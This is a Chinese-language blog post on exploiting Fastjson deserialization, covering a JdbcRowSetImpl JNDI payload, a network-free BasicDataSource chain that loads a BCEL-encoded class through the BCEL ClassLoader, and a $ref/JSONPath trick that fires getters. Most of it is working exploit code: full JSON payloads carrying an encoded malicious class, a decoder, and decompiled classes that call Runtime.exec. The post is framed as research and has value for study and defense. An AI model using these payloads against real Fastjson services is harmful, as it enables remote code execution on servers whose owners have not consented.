• FastJson不出网利用


    fastjson反序列化(四)

    本文首发于奇安信攻防社区

    0x01 JNDI利用

    JdbcRowSetImpl

    JdbcRowSetImpl中存在的JNDI注入

    在这里插入图片描述

    这里考虑setAutoCommit

    在这里插入图片描述

    是个set方法

    参数是布尔类型的

    在这里插入图片描述

    使用Yakit生成一个反连

    在这里插入图片描述

    构造EXP

    首先类名是com.sun.rowset.JdbcRowSetImpl 也就是@type 的值

    接着是.lookup的参数DataSourceName 也就是rmi或ldap的地址

    最后是AutoCommit 布尔型的参数

    public class FastJsonJdbcRowSetImpl {
        public static void main(String[] args) throws Exception{
    
            String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/ZhALlpnN\",\"AutoCommit\":false}";
            JSON.parseObject(s);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述

    但是这种利用方式是需要出网的,并且有版本、依赖限制

    下面来看一个可以本地利用的

    0x02 不出网利用

    fastjson≤1.2.24

    条件:BasicDataSource只需要有dbcptomcat-dbcp的依赖即可,dbcp即数据库连接池,在java中用于管理数据库连接,还是挺常见的。

    ClassLoader 存在一处loadclass

    protected Class loadClass(String class_name, boolean resolve)
        throws ClassNotFoundException
      {
        Class cl = null;
    
        /* First try: lookup hash table.
         */
        if((cl=(Class)classes.get(class_name)) == null) {
          /* Second try: Load system class using system class loader. You better
           * don't mess around with them.
           */
          for(int i=0; i < ignored_packages.length; i++) {
            if(class_name.startsWith(ignored_packages[i])) {
              cl = deferTo.loadClass(class_name);
              break;
            }
          }
    
          if(cl == null) {
            JavaClass clazz = null;
    
            /* Third try: Special request?
             */
            if(class_name.indexOf("$$BCEL$$") >= 0)
              clazz = createClass(class_name);
            else { // Fourth try: Load classes via repository
              if ((clazz = repository.loadClass(class_name)) != null) {
                clazz = modifyClass(clazz);
              }
              else
                throw new ClassNotFoundException(class_name);
            }
    
            if(clazz != null) {
              byte[] bytes  = clazz.getBytes();
              cl = defineClass(class_name, bytes, 0, bytes.length);
            } else // Fourth try: Use default class loader
              cl = Class.forName(class_name);
          }
    
          if(resolve)
            resolveClass(cl);
        }
    
        classes.put(class_name, cl);
    
        return cl;
      }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48

    当类名是以$$BCEL$$ 开头,就会创建一个该类,并用definclass去调用

    BCEL提供两个类,RepositoryUtility

    Repository用于将一个Java Class先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码

    Utility用于将原生的字节码转换成BCEL格式的字节码

    其中createClass 方法中

    在这里插入图片描述

    有一处解密,所以我们需要加密一下

    exp

    package org.example;
    
    import com.sun.org.apache.bcel.internal.Repository;
    import com.sun.org.apache.bcel.internal.classfile.JavaClass;
    import com.sun.org.apache.bcel.internal.classfile.Utility;
    import java.io.IOException;
    
    /**
     * @Author kilo、冰室/ki10Moc
     * @date 2022/11/7
     * @time 14:30
     * @blog http://ki10.top
     **/
    public class FastJsonBcel {
        public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
            JavaClass javaClass = Repository.lookupClass(Evil.class);
            String encode = Utility.encode(javaClass.getBytes(), true);
            System.out.println(encode);
            Class.forName("$$BCEL$$" + encode, true, new ClassLoader());
            //        new ClassLoader().loadClass("$$BCEL$$" + encode).newInstance();
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    0x03 利用链

    这次我们尝试以漏洞发现者的身份来看这条链子

    首先是org.apache.tomcat.dbcp.dbcp2.BasicDataSource#createConnectionFactory()

    protected ConnectionFactory createConnectionFactory() throws SQLException {
            // Load the JDBC driver class
            Driver driverToUse = this.driver;
    
            if (driverToUse == null) {
                Class<?> driverFromCCL = null;
                if (driverClassName != null) {
                    try {
                        try {
                            if (driverClassLoader == null) {
                                driverFromCCL = Class.forName(driverClassName);
                            } else {
                                driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
                            }
                        } catch (final ClassNotFoundException cnfe) {
                            driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
                        }
                    } catch (final Exception t) {
                        final String message = "Cannot load JDBC driver class '" + driverClassName + "'";
                        logWriter.println(message);
                        t.printStackTrace(logWriter);
                        throw new SQLException(message, t);
                    }
                }
    
                try {
                    if (driverFromCCL == null) {
                        driverToUse = DriverManager.getDriver(url);
                    } else {
                        // Usage of DriverManager is not possible, as it does not
                        // respect the ContextClassLoader
                        // N.B. This cast may cause ClassCastException which is handled below
                        driverToUse = (Driver) driverFromCCL.getConstructor().newInstance();
                        if (!driverToUse.acceptsURL(url)) {
                            throw new SQLException("No suitable driver", "08001");
                        }
                    }
                } catch (final Exception t) {
                    final String message = "Cannot create JDBC driver of class '"
                            + (driverClassName != null ? driverClassName : "") + "' for connect URL '" + url + "'";
                    logWriter.println(message);
                    t.printStackTrace(logWriter);
                    throw new SQLException(message, t);
                }
            }
    
            // Set up the driver connection factory we will use
            final String user = userName;
            if (user != null) {
                connectionProperties.put("user", user);
            } else {
                log("DBCP DataSource configured without a 'username'");
            }
    
            final String pwd = password;
            if (pwd != null) {
                connectionProperties.put("password", pwd);
            } else {
                log("DBCP DataSource configured without a 'password'");
            }
    
            final ConnectionFactory driverConnectionFactory = new DriverConnectionFactory(driverToUse, url,
                    connectionProperties);
            return driverConnectionFactory;
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65

    我们来看关键部分

    if (driverClassLoader == null) {
                                driverFromCCL = Class.forName(driverClassName);
                            } else {
                                driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
                            }
    
    • 1
    • 2
    • 3
    • 4
    • 5

    若存在driverClassLoader 则会对类进行初始化

    这里的driverClassNamedriverClassLoader 都是可控的

    这里就可以考虑将driverClassLoader 的参数写为com.sun.org.apache.bcel.internal.util.ClassLoader

    接着

    org.apache.tomcat.dbcp.dbcp2.BasicDataSource#createDataSource() 中调用了createConnectionFactory()

    protected DataSource createDataSource() throws SQLException {
            if (closed) {
                throw new SQLException("Data source is closed");
            }
    
            // Return the pool if we have already created it
            // This is double-checked locking. This is safe since dataSource is
            // volatile and the code is targeted at Java 5 onwards.
            if (dataSource != null) {
                return dataSource;
            }
            synchronized (this) {
                if (dataSource != null) {
                    return dataSource;
                }
    
                jmxRegister();
    
                // create factory which returns raw physical connections
                final ConnectionFactory driverConnectionFactory = createConnectionFactory();
    
                // Set up the poolable connection factory
                boolean success = false;
                PoolableConnectionFactory poolableConnectionFactory;
                try {
                    poolableConnectionFactory = createPoolableConnectionFactory(driverConnectionFactory);
                    poolableConnectionFactory.setPoolStatements(poolPreparedStatements);
                    poolableConnectionFactory.setMaxOpenPreparedStatements(maxOpenPreparedStatements);
                    success = true;
                } catch (final SQLException se) {
                    throw se;
                } catch (final RuntimeException rte) {
                    throw rte;
                } catch (final Exception ex) {
                    throw new SQLException("Error creating connection factory", ex);
                }
    
                if (success) {
                    // create a pool for our connections
                    createConnectionPool(poolableConnectionFactory);
                }
    
                // Create the pooling data source to manage connections
                DataSource newDataSource;
                success = false;
                try {
                    newDataSource = createDataSourceInstance();
                    newDataSource.setLogWriter(logWriter);
                    success = true;
                } catch (final SQLException se) {
                    throw se;
                } catch (final RuntimeException rte) {
                    throw rte;
                } catch (final Exception ex) {
                    throw new SQLException("Error creating datasource", ex);
                } finally {
                    if (!success) {
                        closeConnectionPool();
                    }
                }
    
                // If initialSize > 0, preload the pool
                try {
                    for (int i = 0; i < initialSize; i++) {
                        connectionPool.addObject();
                    }
                } catch (final Exception e) {
                    closeConnectionPool();
                    throw new SQLException("Error preloading the connection pool", e);
                }
    
                // If timeBetweenEvictionRunsMillis > 0, start the pool's evictor task
                startPoolMaintenance();
    
                dataSource = newDataSource;
                return dataSource;
            }
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78

    这里需要让

    if (dataSource != null) {
                return dataSource;
            }
            synchronized (this) {
                if (dataSource != null) {
                    return dataSource;
                }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    均为false才能调用

    接着

    org.apache.tomcat.dbcp.dbcp2.BasicDataSource#getConnection() 调用

    public Connection getConnection() throws SQLException {
            if (Utils.IS_SECURITY_ENABLED) {
                final PrivilegedExceptionAction<Connection> action = new PaGetConnection();
                try {
                    return AccessController.doPrivileged(action);
                } catch (final PrivilegedActionException e) {
                    final Throwable cause = e.getCause();
                    if (cause instanceof SQLException) {
                        throw (SQLException) cause;
                    }
                    throw new SQLException(e);
                }
            }
            return createDataSource().getConnection();
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    至此,链子的整体流程

    在这里插入图片描述

    poc

    package org.example;
    
    import com.alibaba.fastjson.JSON;
    
    /**
     * @Author kilo、冰室/ki10Moc
     * @date 2022/11/7
     * @time 14:30
     * @blog http://ki10.top
     **/
    
    public class FastJsonBcel {
        public static void main(String[] args){
            String payload2 = "{\n" +
                    "    {\n" +
                    "        \"ki10\":{\n" +
                    "                \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
                    "                \"driverClassLoader\": {\n" +
                    "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
                    "                },\n" +
                    "                \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbN$db$40$U$3d$938$b1c$9c$e6A$D$94$a6o$k$81E$zPw$m6$V$95$aa$baM$d5$m$ba$9eL$a7a$82cG$f6$84$a6_$c4$3a$hZ$b1$e8$H$f0Q$88$3b$sM$pAG$f2$7d$ce9$f7$dc$f1$d5$f5$e5$l$Ao$b0$e1$c2$c1$b2$8b$V$3cr$b0j$fcc$hM$X$F$3c$b1$f1$d4$c63$86$e2$be$8a$94$3e$60$c8$b7$b6$8e$Z$ac$b7$f17$c9P$JT$q$3f$8d$G$5d$99$i$f1nH$95z$Q$L$k$k$f3D$99$7cZ$b4$f4$89J$Z$9a$81$88$H$fep$87$ff$dc$fd$a1$o$ff$3bOu$3f$8d$p$ff$f0L$85$7b$M$ce$be$I$a7C$Y$81$gA$9f$9fq_$c5$fe$fb$f6$e1X$c8$a1VqD$d7$ca$j$cd$c5$e9G$3e$cc$c8I$t$83$db$89G$89$90$ef$94$ZV2t$af$N$d6C$J$ae$8d$e7$k$5e$e0$r$a9$ma$c2$c3$x$ac1$y$de$c3$eda$j$$$c3$ea$ffE2T3$5c$c8$a3$9e$df$ee$f6$a5$d0$M$b5$7f$a5$_$a3H$ab$Bip$7bR$cf$92Fk$x$b8s$87$W$b1$e4X$K$86$cd$d6$5c$b7$a3$T$V$f5$f6$e6$B$9f$93X$c84$r$40eHM$9d$ad$7f$94p$ni$z$9b$7e$9c990$b3$y$d9$F$ca$7c$f2$8c$7ca$fb$X$d8$qk$7bd$8b$b7E$94$c9z$d3$f8$B$w$e4$jTg$60$9e$91$B$f5$df$c8$d5$f3$X$b0$be$9e$c3$f9$b0$7d$81$e2$q$ab$97$I$5b$40$3ec$5c$a2$c8$a0K$844$af$5d$s$96$gE$7f$t$94aQ$5e$a7l$91$3e$h$b9$c0$c6C$8b$g$8dL$d4$d2$N_$9f$94$o$82$C$A$A\"\n" +
                    "        }\n" +
                    "    }: \"Moc\"\n" +
                    "}";
            JSON.parse(payload2);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

    需要注意的是

    这里poc的嵌套

    最后JSON.parse 触发key.toString()

    在这里插入图片描述

    整个poc都为JSONObjectvalueMoc

    然后判断是否是JSON对象,再去识别keyvalue

    在这里插入图片描述

    调试过程中确实两次落在该断点

    key = (key == null) ? "null" : key.toString();
    
    • 1

    而在执行toString() 时会将当前类转为字符串形式,会提取类中所有的Field,执行相应的 getter 、is等方法。因此也会执行getConnection方法

    当然以上都是建立在parse() 方法之上

    如果poc是parseObject() ,那就简单了,因为在处理过程中会调用所有的 setter 和 getter 方法。详细可以看FastJson反序列化基础

    exp

    package org.example;
    
    import com.alibaba.fastjson.JSON;
    
    /**
     * @Author kilo、冰室/ki10Moc
     * @date 2022/11/7
     * @time 14:30
     * @blog http://ki10.top
     **/
    
    public class FastJsonBcel {
        public static void main(String[] args) {
    String s = "{\n" +
                    "               \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
                    "                \"driverClassLoader\": {\n" +
                    "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
                    "                },\n" +
                    "                \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbN$db$40$U$3d$938$b1c$9c$e6A$D$94$a6o$k$81E$zPw$m6$V$95$aa$baM$d5$m$ba$9eL$a7a$82cG$f6$84$a6_$c4$3a$hZ$b1$e8$H$f0Q$88$3b$sM$pAG$f2$7d$ce9$f7$dc$f1$d5$f5$e5$l$Ao$b0$e1$c2$c1$b2$8b$V$3cr$b0j$fcc$hM$X$F$3c$b1$f1$d4$c63$86$e2$be$8a$94$3e$60$c8$b7$b6$8e$Z$ac$b7$f17$c9P$JT$q$3f$8d$G$5d$99$i$f1nH$95z$Q$L$k$k$f3D$99$7cZ$b4$f4$89J$Z$9a$81$88$H$fep$87$ff$dc$fd$a1$o$ff$3bOu$3f$8d$p$ff$f0L$85$7b$M$ce$be$I$a7C$Y$81$gA$9f$9fq_$c5$fe$fb$f6$e1X$c8$a1VqD$d7$ca$j$cd$c5$e9G$3e$cc$c8I$t$83$db$89G$89$90$ef$94$ZV2t$af$N$d6C$J$ae$8d$e7$k$5e$e0$r$a9$ma$c2$c3$x$ac1$y$de$c3$eda$j$$$c3$ea$ffE2T3$5c$c8$a3$9e$df$ee$f6$a5$d0$M$b5$7f$a5$_$a3H$ab$Bip$7bR$cf$92Fk$x$b8s$87$W$b1$e4X$K$86$cd$d6$5c$b7$a3$T$V$f5$f6$e6$B$9f$93X$c84$r$40eHM$9d$ad$7f$94p$ni$z$9b$7e$9c990$b3$y$d9$F$ca$7c$f2$8c$7ca$fb$X$d8$qk$7bd$8b$b7E$94$c9z$d3$f8$B$w$e4$jTg$60$9e$91$B$f5$df$c8$d5$f3$X$b0$be$9e$c3$f9$b0$7d$81$e2$q$ab$97$I$5b$40$3ec$5c$a2$c8$a0K$844$af$5d$s$96$gE$7f$t$94aQ$5e$a7l$91$3e$h$b9$c0$c6C$8b$g$8dL$d4$d2$N_$9f$94$o$82$C$A$A\"\n" +
                    "        }";
            JSON.parseObject(s);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    在这里插入图片描述

    上面我们说了那么多,基本已经走完了流程,但还有个问题,这里的driverClassName 后面的值是什么

    可能还要到com.sun.org.apache.bcel.internal.util.ClassLoader 去找答案

    这里我们说,我们是通过loadClass下重写的方法来执行的,其中有个defiClass 显然是通过字节码来实现的。再回过头看createClass中的Utility.*decode*

    这里我们还原一下内容

    public class BCELDecode {
        public static void main(String[] args) throws IOException {
            String encode = "$l$8b$I$A$A$A$A$A$A$A...";
            byte[] decode = Utility.decode(encode,true);
            FileOutputStream fileOutputStream = new FileOutputStream("DecodeClass.class");
            fileOutputStream.write(decode);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    得到DecodeClass.class

    实际上就是静态方法里面执行弹计算器

    //
    // Source code recreated from a .class file by IntelliJ IDEA
    // (powered by Fernflower decompiler)
    //
    
    package com.p1ay2win.fastjson;
    
    import java.io.IOException;
    
    public class Evil {
        public Evil() {
        }
    
        static {
            try {
                Runtime.getRuntime().exec("calc");
            } catch (IOException var1) {
                var1.printStackTrace();
            }
    
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    0x04 $ref

    fastjson≥1.2.36

    这里我们要讨论的问题就是上面JSON.parse()JSON.parseObect() 这两种不同方法调用的问题

    这里给出另一种解决方法

    JSONPath

    在这里插入图片描述

    添加依赖

    <dependency>
                <groupId>com.alibaba</groupId>
                <artifactId>fastjson</artifactId>
                <version>1.2.36</version>
            </dependency>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    package org.example;
    
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.parser.ParserConfig;
    
    /**
     * @Author kilo、冰室/ki10Moc
     * @date 2022/11/14
     * @time 0:10
     * @blog http://ki10.top
     **/
    public class TestCalc {
        public static void main(String[] args) {
            ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
            String payload = "[{\"@type\":\"org.example.Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]";
            Object o = JSON.parse(payload);
        }
    
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    package org.example;
    
    import java.io.IOException;
    
    /**
     * @Author kilo、冰室/ki10Moc
     * @date 2022/11/14
     * @time 0:06
     * @blog http://ki10.top
     **/
    public class Test {
        private String cmd;
    
        public String getCmd() throws IOException {
            Runtime.getRuntime().exec(cmd);
            return cmd;
        }
    
        public void setCmd(String cmd) {
            this.cmd = cmd;
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    在这里插入图片描述

    首先就是我们要弄清该payload ,就需要知道[{\"@type\":\"org.example.Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}] ref的作用

    在这里插入图片描述

    打上断点来debug下

    首先是handleResovleTask

    这里是处理refvalue的地方

    首先判断是否是 开 头 , 然 后 获 取 对 象 , 最 后 确 定 r e f : ‘ 开头,然后获取对象,最后确定ref:` ref[0].cmd`

    $[0]表示的是数组里的第一个元素,则$[0].cmd表示的是获取第一个元素的cmd属性的值。

    在这里插入图片描述

    来看getObject()

    在这里插入图片描述

    获取数组,第0个位$ ,第1个为$[0] 并返回该对象

    下面是JSONPath.eval()

    在这里插入图片描述

    继续跟进compile()

    在这里插入图片描述

    这里路径不为空,不会抛出异常

    在这里插入图片描述

    接着跟进eval下的init()

    在这里插入图片描述

    这里segments为空,继续往下走

    在这里插入图片描述

    在调用parser.explain() 方法前segments为空

    在这里插入图片描述

    Segement[] 初始长度为8,因为其接口一共有8个

    在这里插入图片描述

    在这里插入图片描述

    这里segment值就变成了JSONPath

    在这里插入图片描述

    循环追加到StringBuilder后面

    在这里插入图片描述

    然后按顺序执行前面explain()生成的Segment array

    最终在getPropertyValue()反射调用get()

    至此,就完成了不使用JSON.parseObect()也能调用get() 的方法

    最后可以看下Y4师傅的

    [Java安全]Fastjson>=1.2.36$ref引用可触发get方法分析_Y4tacker的博客-CSDN博客_fastjson get方法

    0x05 参考

    [Java安全]Fastjson>=1.2.36$ref引用可触发get方法分析_Y4tacker的博客-CSDN博客_fastjson get方法

    fastjson不出网学习 - R0ser1 - 博客园 (cnblogs.com)

    FastJson反序列化之BasicDataSource利用链 – cc (ccship.cn)

    fastjson不出网利用简析 - P1ay2win’s blog (play2win.top)

  • 相关阅读:
    低代码与传统开发:综合比较
    用于快速数字化转型的 7 大可观察性工具
    java中contains和containsAll的用法
    Day10:图形用户界面和游戏开发
    VoIP之AVPF(Audio-Visual Profile with Feedback)
    【Java进阶】字符串和常见集合
    买卖股票的最佳时机
    dubbo-简单Demo的实现(转+原创)
    探索8个顶级的绘图工具
    11 假设检验
  • 原文地址:https://blog.csdn.net/m0_52367015/article/details/127840178